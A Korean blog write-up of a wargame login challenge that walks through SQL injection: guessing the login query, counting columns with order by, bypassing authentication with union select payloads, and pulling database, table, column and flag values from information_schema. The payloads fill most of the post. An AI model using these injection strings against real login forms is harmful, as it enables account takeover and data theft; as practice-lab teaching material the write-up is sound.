1. 로그인 통신 로그 확인
주어진 계정으로 로그인했을 때
특이점은 없었다.
2. SQL Injection 동작 확인
항등원 쿼리로 테스트 시
SQL Injection 동작이 확인됐다.
3. 로그인 로직 예상
식별/인증 동시
select * from member where UserId='doldol' and Password='dol1234'
select * from member where UserId='doldol' #' and Password='dol1234'
주석 쿼리 테스트 시
인증 우회에 실패했다.
하지만 비밀번호를 올바르게 입력하면 로그인이 된다.
이 정보를 통해
1. 식별/인증 동시 개행
2. 식별/인증 분리
두 가지의 가능성을 생각할 수 있다.
3.1. 로그인 로직 예상
식별/인증 동시 개행
select * from member where UserId='doldol'
and Password='dol1234'
or 쿼리 테스트 시
인증 우회에 실패했다.
select * from member where UserId='doldol' or '1' = '1'
and Password='dol1234'
3.2. 로그인 로직 예상
식별/인증 분리
select id, pw from users where id='doldol'
if(pw=='dol1234'){
# 로그인 성공
} else {
# 로그인 실패
}
3.2.1. order by
order by 명령어를 통해
컬럼의 개수를 알아보는 sql 쿼리를 작성했다.
order by 쿼리로 주어진 계정을 로그인해 보니
컬럼 3이 존재하지 않아 로그인 반환이 되지 않는 것을 확인할 수 있다.
select id, pw from member where id='doldol' order by 2 #' // 로그인 반환
select id, pw from member where id='doldol' order by 3 #' // 3번 째 컬럼이 없으므로 에러 반환
따라서 해당 로그인 로직의 select 문은
2개의 컬럼을 가져온다는 것을 알 수 있다.
이제 union을 사용하여 2개의 컬럼 값에 원하는 값을 반환하도록 할 것이다.
3.2.2. union
union 연산자란?
2개 이상의 select 쿼리 결과를 하나로 합쳐주는 연산자이다.
이전에 order by 문을 이용해 컬럼이 2개인 것을 알아냈으니,
union select 쿼리를 이용하여 id 값에 1 pw 값에 2가 담긴 row를 가져와보았다.
id 입력 창 : doldol' union select 'test', '1111' order by 1 desc #
pw 입력 창 : 1111
백엔드 코드 : select id, pw from member where id='doldol' union select 'test', '1111' order by 1 desc #'
응용으로
id 값이 test이고, pw 값이 1111인 row를 반환하도록 union 쿼리를 작성하고,
비밀번호 입력창에 설정한 pw 값인 1111을 넣어 로그인 시도했을 때,
test라는 계정으로 로그인된 모습을 볼 수 있다. 즉, 인젝션에 성공한 것이다.
여기서 주의할 점은
doldol 사용자와 test 사용자가 둘 다 반환이 되는데 맨 위 row 값의 사용자 정보로 로그인이 된다는 것이다.
때문에 order by를 사용해서 test 사용자가 맨 위 row가 되도록 정렬해 주면
test 사용자로 로그인이 가능하다.
id : doldol' union select 'normaltic3', '1111' order by 1 desc #
pw : 1111
위의 test 사용자 로그인을 토대로
타겟 사용자인 normaltic3에 로그인 시도를 해보니
성공적으로 로그인되며 flag가 출력되는 것을 볼 수 있다.
3.2.3. etc
none' union select 'test','1111' #
doldol이 아닌 DB에 없는 사용자로 로그인을 시도하거나
' union select 'test','1111' #
아예 사용자란을 비워두면
굳이 정렬 기능을 사용하지 않아도
DB에 없는 사용자는 가져와지지 않기 때문에
union 쿼리의 원하는 사용자로 로그인이 가능하다.
3.2.4. DB 명 추출
union 쿼리에서
database() 함수를 사용하면
DB 이름을 출력할 수 있다.
실제로 문제 페이지에서 테스트 해보니
로그인 사용자의 이름이 DB 명으로 출력되는 것을 확인할 수 있다.
3.2.5. 테이블 명 추출
'union select table_name, '1111' from information_schema.tables
where table_schema = 'segFault_sqli' #
앞서 얻은 DB명을 토대로
segFault_sqli DB에 있는 Table 들을 추출해 보았다.
해당 쿼리로 로그인해 보니
book_info 라는 테이블 명을 추출할 수 있었다.
아마 많은 테이블명 중에서 맨위에 테이블 이름이 추출된 것 같다.
'union select table_name, '1111' from information_schema.tables
where table_schema = 'segFault_sqli' limit 1,1#
limit 명령을 사용해서 모든 테이블 값을 확인해 보니
아래와 같이 6개의 테이블을 확인할 수 있었다.
Tables of segFault_sqli |
book_info |
flag_table |
login1 |
login2 |
user_info |
3.2.6. 컬럼 명 추출
'union select column_name, '1111' from information_schema.columns
where table_name = 'flag_table' #
'union select column_name, '1111' from information_schema.columns
where table_name = 'flag_table' limit 2,1#
'union select column_name, '1111' from information_schema.columns
where table_name = 'user_info' limit 0,1#
앞서 추출했던 테이블 중 flag_table 과 user_info 테이블의 컬럼 값이 궁금하여 추출해 보았다.
flag_table | user_info |
flag | id |
stage | name |
password | |
level | |
rank_point | |
rate |
3.2.7. data 추출
'union select stage, '1111' from flag_table #
'union select flag, '1111' from flag_table #
'union select flag, '1111' from flag_table limit 1,1 #
앞서 얻은 flag_table의 컬럼 명을 토대로 컬럼의 값을 추출해 보았다.
다른 문제들의 flag를 얻을 수 있었다
'WarGame > SegFault' 카테고리의 다른 글
SQL Injection 1 (0) | 2024.05.23 |
---|---|
Login Bypass 4 (0) | 2024.05.22 |
Secret Login (1) | 2024.05.19 |
Login Bypass 5 (0) | 2024.05.19 |
Admin is Mine (0) | 2024.05.16 |